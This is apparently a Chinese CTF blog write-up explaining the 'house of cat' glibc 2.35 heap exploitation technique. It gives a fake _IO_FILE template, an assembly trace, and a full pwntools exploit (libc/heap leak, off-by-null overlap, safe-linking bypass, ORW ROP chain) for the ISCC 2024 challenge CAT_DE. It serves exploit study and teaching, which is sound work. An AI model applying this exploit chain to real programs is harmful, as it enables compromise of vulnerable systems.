这次要说的是house系列之house of cat,这个手法,我学了三四天,才有那么一点点觉悟。
首先,这个手法适用于(我目前学到的)
1:高版本且能够触发IO流,且知道libc和堆地址;
2:能够任意地址写(至少一次);
我们需要伪造一个fake_IO_file
模板
ioaddr=heapaddr+0x290 next_chain = 0 fake_IO_FILE = p64(0 )*4 fake_IO_FILE +=p64(0 ) fake_IO_FILE +=p64(0 ) fake_IO_FILE +=p64(1 )+p64(0 ) fake_IO_FILE +=p64(ioaddr+0xb0 ) fake_IO_FILE +=p64(setcontext+61 ) fake_IO_FILE = fake_IO_FILE.ljust(0x58 ,b'\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x78 , b'\x00' ) fake_IO_FILE += p64(heapaddr+0x200 ) fake_IO_FILE = fake_IO_FILE.ljust(0x90 , b'\x00' ) fake_IO_FILE +=p64(ioaddr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xB0 , b'\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xC8 , b'\x00' ) fake_IO_FILE += p64(libcbase+0x2170d0 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(ioaddr+0x40 ) flagaddr=heapaddr+0x1e250 payload1=fake_IO_FILE+p64(flagaddr)+p64(0 )+p64(0 )*5 +p64(heapaddr+0x6c0 +0x10 ) payload1+=p64(ret)
触发malloc_assert后,程序原本的_IO_FILE
正常的执行流:
||
||
/
||
||
/
||
||
/
可以看到之后call的是[__IO_file_jumps+0x38]
我们看一下vtable _IO_file_jumps
可以看到__IO_file_jumps+0x38对应的正是虚函数 _IO_new_file_xsputn。
再来看一下伪造的,当我们把程序原本的_IO_FILE的 vtable: _IO_file_jumps更换为__IO_file_jumps+0x10,那么根据虚表后面会调用 _IO_new_file_seekoff ,
此时rdi是我们的ioaddr也就是我们所伪造的fake_io_file
这里感觉CatF1y 师傅讲的太好了,索性搬过来一点。
其中_IO_wfile_seekoff函数代码如下
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) { off64_t result; off64_t delta, new_offset; long int count; if (mode == 0 ) return do_ftell_wide (fp); int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr)); #需要绕过was_writing的检测 bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp)); if (was_writing && _IO_switch_to_wget_mode (fp)) return WEOF; ...... }
其中fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,继续跟进代码
int _IO_switch_to_wget_mode (FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW (fp, WEOF) == WEOF) return EOF; ...... }
我们再来看看_IO_switch_to_wget_mode汇编代码
► 0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64 0x7f4cae745d34 <_IO_switch_to_wget_mode+4 > mov rax, qword ptr [rdi + 0xa0 ] 0x7f4cae745d3b <_IO_switch_to_wget_mode+11 > push rbx 0x7f4cae745d3c <_IO_switch_to_wget_mode+12 > mov rbx, rdi 0x7f4cae745d3f <_IO_switch_to_wget_mode+15 > mov rdx, qword ptr [rax + 0x20 ] 0x7f4cae745d43 <_IO_switch_to_wget_mode+19 > cmp rdx, qword ptr [rax + 0x18 ] 0x7f4cae745d47 <_IO_switch_to_wget_mode+23 > jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56 > 0x7f4cae745d49 <_IO_switch_to_wget_mode+25 > mov rax, qword ptr [rax + 0xe0 ] 0x7f4cae745d50 <_IO_switch_to_wget_mode+32 > mov esi, 0xffffffff 0x7f4cae745d55 <_IO_switch_to_wget_mode+37 > call qword ptr [rax + 0x18 ]
主要关注这几句,做了一下几点事情
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1 。 2.将新赋值的[rax1+0x20]处的内容赋值给rdx。 3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2 。 4.call调用[rax2+0x18]处的内容。
0x7f4cae745d34 <_IO_switch_to_wget_mode+4 > mov rax, qword ptr [rdi + 0xa0 ]0x7f4cae745d3f <_IO_switch_to_wget_mode+15 > mov rdx, qword ptr [rax + 0x20 ]0x7f4cae745d49 <_IO_switch_to_wget_mode+25 > mov rax, qword ptr [rax + 0xe0 ]0x7f4cae745d55 <_IO_switch_to_wget_mode+37 > call qword ptr [rax + 0x18 ]
这里最终call的就是[ [ [rdi+0xa0]+0xe0]+0x18],也就是我们上面fake_io_file的setcontext+61(慢慢调试)
然后我们再看
根据执行setcontext+61,最后会执行rdx+0xa8和0xa0
再合理布置好rop就行了。
就拿2024年的iscc中的CAT_DE 来演示吧
题目环境:2.35
有UAF,禁用了execve,并且exit里面可以溢出一个”\x00”。
add(0x420 ,b"\x00" ) add(0x430 ,b"\x00" ) add(0x418 ,b"\x00" ) delete(0 ) add(0x430 ,b"flag" ) add(0x420 ,b"\x00" ) show(3 ) p.recvuntil("context:" ) p.recvuntil(b"\x0a" ) libcbase=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x21a0d0 -0xf30 p.recv(10 ) heapaddr=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x290 print (hex (libcbase))print (hex (heapaddr))
利用UAF,使用largebin泄露libc和heapaddr。
for i in range (6 ): add(0xf8 ,b"\x00" ) add(0xf8 ,b"\x00" ) add(0x3f8 ,b"\x00" ) add(0xf8 ,b"\x00" ) add(0xf8 ,b"\x00" ) add(0xf8 ,b"\x00" ) edit(10 ,p64(0 )+p64(0x4f1 )+p64(heapaddr+0x1970 )*2 ) edit(11 ,b"a" *0x3f0 +p64(0x4f0 )+b"\x00" ) for i in range (3 ,9 ): delete(i) add(0x420 ,b"\x00" ) delete(9 )
利用off by null打堆块重叠。
add(0xa0 ,b"\x00" ) add(0xa0 ,b"\x00" ) add(0xa0 ,b"\x00" ) delete(6 ) delete(5 ) print (hex (heapaddr>>12 ))m=(heapaddr>>12 )+1 print (hex (m))l=m^stderr print ("====>" +hex (stderr))print (hex (l))edit(10 ,p64(0 )+p64(0xb1 )+p64(libcbase+0x21b100 )*2 +p64(heapaddr+0x1970 )*2 +p64(0 )*17 +p64(0xb1 )+p64(l)) add(0xa0 ,b"\x00" ) add(0xa0 ,b"\x00" ) edit(3 ,payload1) edit(6 ,p64(heapaddr+0x290 ))
由于是libc2.35,我们无法直接修改正确的fd指针,需要进行fd指针加密绕过,具体可以看
高版本libc堆fd指针绕过 - 蟇窳瓨 - 博客园 (cnblogs.com)
payload=p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0 )+p64(rdxr12)+p64(0 )*2 +p64(rax)+p64(2 )+p64(syscallret) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(heapaddr+0x200 )+p64(rdxr12)+p64(0x50 )+p64(0 )+p64(rax)+p64(0 )+p64(syscallret) payload+=p64(rdi)+p64(1 )+p64(rsi)+p64(heapaddr+0x200 )+p64(rdxr12)+p64(0x50 )+p64(0 )+p64(rax)+p64(1 )+p64(syscallret) edit(1 ,payload)
在一个可写的地方(一般是堆块)布置rop
for i in range (14 ): add(0x2000 ,b"\x00" ) add(0x2000 -0x8 ,b"a" ) edit(24 ,b"flag\x00" +b"a" *(0x2000 -4 )) p.sendlineafter( b'input your car choice >>' ,b'1' ) gdb.attach(p) p.sendafter(b'size:' ,str (0x1000 ))
最后触发malloc_assert。
exp
from pwn import *context.log_level="debug" p=process("./CAT_DE" ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" ) def add (index,input ): p.sendlineafter( b'input your car choice >>' ,b'1' ) p.sendafter(b'size:' ,str (index)) p.sendafter(b"content:" ,input ) def delete (index ): p.sendlineafter( b'input your car choice >>' ,b'2' ) p.sendafter(b'idx:' ,str (index)) def edit (index,input ): p.sendlineafter( b'input your car choice >>' ,b'4' ) p.sendafter(b'idx:' ,str (index)) p.sendafter(b'content:' ,input ) def show (index ): p.sendlineafter( b'input your car choice >>' ,b'3' ) p.sendafter(b'idx:' ,str (index)) gdb.attach(p) add(0x420 ,b"\x00" ) add(0x430 ,b"\x00" ) add(0x418 ,b"\x00" ) delete(0 ) add(0x430 ,b"flag" ) add(0x420 ,b"\x00" ) show(3 ) p.recvuntil("context:" ) p.recvuntil(b"\x0a" ) libcbase=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x21a0d0 -0xf30 p.recv(10 ) heapaddr=u64(p.recv(6 ).ljust(8 ,b"\x00" ))-0x290 print (hex (libcbase))print (hex (heapaddr))rdi=libcbase+0x000000000002a3e5 rsi=libcbase+0x000000000002be51 rdxr12=libcbase+0x000000000011f2e7 ret=libcbase+0x0000000000029cd6 rax=libcbase+0x0000000000045eb0 stderr=libcbase+libc.sym['stderr' ] setcontext=libcbase+libc.sym['setcontext' ] close=libcbase+libc.sym['close' ] read=libcbase+libc.sym['read' ] write=libcbase+libc.sym['write' ] syscallret=libcbase+0xea549 ioaddr=heapaddr+0x290 next_chain = 0 fake_IO_FILE = p64(0 )*4 fake_IO_FILE +=p64(0 ) fake_IO_FILE +=p64(0 ) fake_IO_FILE +=p64(1 )+p64(0 ) fake_IO_FILE +=p64(ioaddr+0xb0 ) fake_IO_FILE +=p64(setcontext+61 ) fake_IO_FILE = fake_IO_FILE.ljust(0x58 ,b'\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x78 , b'\x00' ) fake_IO_FILE += p64(heapaddr+0x200 ) fake_IO_FILE = fake_IO_FILE.ljust(0x90 , b'\x00' ) fake_IO_FILE +=p64(ioaddr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xB0 , b'\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xC8 , b'\x00' ) fake_IO_FILE += p64(libcbase+0x2170d0 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(ioaddr+0x40 ) flagaddr=heapaddr+0x1e250 payload1=fake_IO_FILE+p64(flagaddr)+p64(0 )+p64(0 )*5 +p64(heapaddr+0x6c0 +0x10 )+p64(ret) for i in range (6 ): add(0xf8 ,b"\x00" ) add(0xf8 ,b"\x00" ) add(0x3f8 ,b"\x00" ) add(0xf8 ,b"\x00" ) add(0xf8 ,b"\x00" ) add(0xf8 ,b"\x00" ) edit(10 ,p64(0 )+p64(0x4f1 )+p64(heapaddr+0x1970 )*2 ) edit(11 ,b"a" *0x3f0 +p64(0x4f0 )+b"\x00" ) for i in range (3 ,9 ): delete(i) add(0x420 ,b"\x00" ) delete(9 ) delete(13 ) delete(12 ) add(0xa0 ,b"\x00" ) add(0xa0 ,b"\x00" ) add(0xa0 ,b"\x00" ) delete(6 ) delete(5 ) print (hex (heapaddr>>12 ))m=(heapaddr>>12 )+1 print (hex (m))l=m^stderr print ("====>" +hex (stderr))print (hex (l))edit(10 ,p64(0 )+p64(0xb1 )+p64(libcbase+0x21b100 )*2 +p64(heapaddr+0x1970 )*2 +p64(0 )*17 +p64(0xb1 )+p64(l)) add(0xa0 ,b"\x00" ) add(0xa0 ,b"\x00" ) edit(3 ,payload1) edit(6 ,p64(heapaddr+0x290 )) payload=p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0 )+p64(rdxr12)+p64(0 )*2 +p64(rax)+p64(2 )+p64(syscallret) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(heapaddr+0x200 )+p64(rdxr12)+p64(0x50 )+p64(0 )+p64(rax)+p64(0 )+p64(syscallret) payload+=p64(rdi)+p64(1 )+p64(rsi)+p64(heapaddr+0x200 )+p64(rdxr12)+p64(0x50 )+p64(0 )+p64(rax)+p64(1 )+p64(syscallret) edit(1 ,payload) for i in range (14 ): add(0x2000 ,b"\x00" ) add(0x2000 -0x8 ,b"a" ) edit(24 ,b"flag\x00" +b"a" *(0x2000 -4 )) p.sendlineafter( b'input your car choice >>' ,b'1' ) gdb.attach(p) p.sendafter(b'size:' ,str (0x1000 )) p.interactive()
文章参考高版本libc堆fd指针绕过 - 蟇窳瓨 - 博客园 (cnblogs.com)
[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪-安全社区|安全招聘|kanxue.com
house of cat 学习-CSDN博客